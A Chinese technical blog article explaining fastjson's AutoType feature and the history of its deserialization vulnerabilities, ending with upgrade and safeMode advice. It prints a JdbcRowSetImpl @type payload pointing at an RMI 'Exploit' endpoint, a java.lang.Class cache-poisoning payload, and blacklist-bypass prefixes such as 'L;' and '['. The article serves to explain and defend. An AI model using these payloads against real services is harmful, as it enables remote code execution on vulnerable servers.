fastjson到底做错了什么?为什么会被频繁爆出漏洞?

fastjson大家一定都不陌生,这是阿里巴巴开源一个JSON解析库,通常被用于将Java Bean和JSON 字符串之间进行转换。

前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。

但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源代码

最终发现,这其实和fastjson中的一个AutoType特性有关。

2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。

下面是fastjson的官方releaseNotes 中,几次关于AutoType的重要升级:

1.2.59发布,增强AutoType打开时的安全性 fastjson

1.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson

1.2.61发布,增加AutoType安全黑名单 fastjson

1.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson

1.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson

1.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson

1.2.68发布,支持GEOJSON,补充了AutoType黑名单。( 引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。 ) fastjson

1.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson

1.2.70发布,提升兼容性,补充了AutoType黑名单

甚至在fastjson的开源库中,有一个Isuue是建议作者提供不带autoType的版本:

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

那么,什么是AutoType?为什么fastjson要引入AutoType?为什么AutoType会导致安全漏洞呢?本文就来深入分析一下。

AutoType 何方神圣?

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson在序列化以及反序列化的过程中并没有使用 Java自带的序列化机制 ,而是自定义了一套机制。

其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

  • 1、基于属性
  • 2、基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。

假设我们有以下一个Java类

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
复制代码

当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?

我们尝试着验证一下,基于(fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
复制代码

以上代码比较简单,我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString 进行序列化,可以得到以下JSON内容:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
复制代码

那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
复制代码

执行结果如下:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
复制代码

可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,尝试直接转换成Fruit则不会报错,如:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
复制代码

以上现象,我们知道, 当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。

使用方法是通过 SerializerFeature.WriteClassName 进行标记,即将上述代码中的

String jsonString = JSON.toJSONString(store);
复制代码

修改成:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
复制代码

即可,以上代码,输出结果如下:

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
复制代码

可以看到, 使用 SerializerFeature.WriteClassName 进行标记后,JSON字符串中多出了一个 @type 字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型

如上,将序列化后的字符串在反序列化,既可以顺利的拿到一个Apple类型,整体输出内容:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
复制代码

这就是AutoType,以及fastjson中引入AutoType的原因。

但是,也正是这个特性,因为在功能设计之初在安全方面考虑的不够周全,也给后续fastjson使用者带来了无尽的痛苦

AutoType 何错之有?

因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取 @type 到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。

那么就可以利用这个特性,自己构造一个JSON字符串,并且使用 @type 指定一个自己想要使用的攻击类库。

举个例子,黑客比较常用的攻击类库是 com.sun.rowset.JdbcRowSetImpl ,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
复制代码

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

在早期的fastjson版本中(v1.2.25 之前),因为AutoType是默认开启的,并且也没有什么限制,可以说是裸着的。

从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。

但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。

因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了"如何绕过checkAutotype"。

下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理, 由于篇幅限制,这里并不会讲解的特别细节,如果大家感兴趣我后面可以单独写一篇文章讲讲细节 。下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。

绕过checkAutotype,黑客与fastjson的博弈

在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。

但是在加载的过程中,fastjson有一段特殊的处理,那就是在具体加载类的时候会去掉className前后的 L; ,形如 Lcom.lang.Thread;

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

而黑白名单又是通过startWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上 L; 就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。

Lcom.sun.rowset.JdbcRowSetImpl; ,会先通过白名单校验,然后fastjson在加载类的时候会去掉前后的 L,变成了 com.sun.rowset.JdbcRowSetImpl`。

为了避免被攻击,在之后的 v1.2.42版本中,在进行黑白名单检测的时候,fastjson先判断目标类的类名的前后是不是 L; ,如果是的话,就截取掉前后的 L; 再进行黑白名单的校验。

看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写 LL;; ,这样再被截取之后还是可以绕过检测。如 LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43中,fastjson这次在黑白名单判断之前,增加了一个是否以 LL 未开头的判断,如果目标类以 LL 开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。

黑客在 L; 这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对 L; 这样的类进行特殊处理,还对 [ 也被特殊处理了。

同样的攻击手段,在目标类前面添加 [ ,v1.2.43以前的所有版本又沦陷了。

于是,在 v1.2.44版本中,fastjson的作者做了更加严格的要求,只要目标类以 [ 开头或者以 ; 结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug

在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而fastjson也在不断的完善自己的黑名单。

autoType不开启也能被攻击?

但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的时候才生效。

是不是很奇怪,autoType不开启反而会被攻击。

因为**在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。**黑客正是利用这里机制进行了攻击。

黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。

首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是 java.lang.Class

java.lang.Class 类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

如果再次加载val名称的类,并且autotype没开启,下一步就是会尝试从全局缓存中获取这个class,进而进行攻击。

所以,黑客只需要把攻击类伪装以下就行了,如下格式:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
复制代码

于是在 v1.2.48中,fastjson修复了这个bug,在MiscCodec中,处理Class类的地方,设置了fastjson cache为false,这样攻击类就不会被缓存了,也就不会被获取到了。

在之后的多个版本中,黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。

直到后来,黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。

利用异常进行攻击

在fastjson中, 如果,@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer

而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。

并且指定了expectClass为Throwable.class,但是 在checkAutoType中,有这样一约定,那就是如果指定了expectClass ,那么也会通过校验。

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因为fastjson在反序列化的时候会尝试执行里面的getter方法,而Exception类中都有一个getMessage方法。

黑客只需要自定义一个异常,并且重写其getMessage就达到了攻击的目的。

这个漏洞就是6月份全网疯传的那个"严重漏洞",使得很多开发者不得不升级到新版本。

这个漏洞在 v1.2.69中被修复,主要修复方式是对于需要过滤掉的expectClass进行了修改,新增了4个新的类,并且将原来的Class类型的判断修改为hash的判断。

其实,根据fastjson的官方文档介绍,即使不升级到新版,在v1.2.68中也可以规避掉这个问题,那就是使用safeMode

AutoType 安全模式?

可以看到,这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。

设置了safeMode后,@type 字段不再生效,即当解析形如{"@type": "com.java.class"}的JSON串时,将不再反序列化出对应的类。

开启safeMode方式如下:

ParserConfig.getGlobalInstance().setSafeMode(true);
复制代码

如在本文的最开始的代码示例中,使用以上代码开启safeMode模式,执行代码,会得到以下异常:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
复制代码

但是值得注意的是,使用这个功能,fastjson会直接禁用autoType功能,即在checkAutoType方法中,直接抛出一个异常。

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

后话

目前fastjson已经发布到了 v1.2.72版本,历史版本中存在的已知问题在新版本中均已修复。

开发者可以将自己项目中使用的fastjson升级到最新版,并且如果代码中不需要用到AutoType的话,可以考虑使用safeMode,但是要评估下对历史代码的影响。

因为fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。

之前有网友对比过:

fastjson到底做错了什么?为什么会被频繁爆出漏洞?

当然,快的同时也带来了一些安全性问题,这是不可否认的。

最后,其实我还想说几句,虽然fastjson是阿里巴巴开源出来的,但是据我所知,这个项目大部分时间都是其作者温少一个人在靠业余时间维护的。

知乎上有网友说:" 温少几乎凭一己之力撑起了一个被广泛使用JSON库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。 "

其实,关于fastjson漏洞的问题,阿里内部也有很多人诟病过,但是诟病之后大家更多的是给予 理解包容

fastjson目前是国产类库中比较出名的一个,可以说是倍受关注,所以渐渐成了安全研究的重点,所以会有一些深度的漏洞被发现。就像温少自己说的那样:

"和发现漏洞相比,更糟糕的是有漏洞不知道被人利用。及时发现漏洞并升级版本修复是安全能力的一个体现。"

就在我写这篇文章的时候,在钉钉上问了温少一个问题,他竟然秒回,这令我很惊讶。因为那天是周末,周末钉钉可以做到秒回,这说明了什么?

他大概率是在利用自己的业余维护fastjson吧…

最后,知道了fastjson历史上很多漏洞产生的原因之后,其实对我自己来说,我是"更加敢用"fastjson了…

致敬fastjson!致敬安全研究者!致敬温少!

欢迎大家关注我的公众号,会定期推送这种干货!干到你到百度谷歌都找不到的!!

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参考资料:

github.com/alibaba/fas…

github.com/alibaba/fas…

paper.seebug.org/1192/

mp.weixin.qq.com/s/EXnXCy5No…

www.lmxspace.com/2019/06/29/…

原文 

https://juejin.im/post/5f0283956fb9a07eb90cac4c

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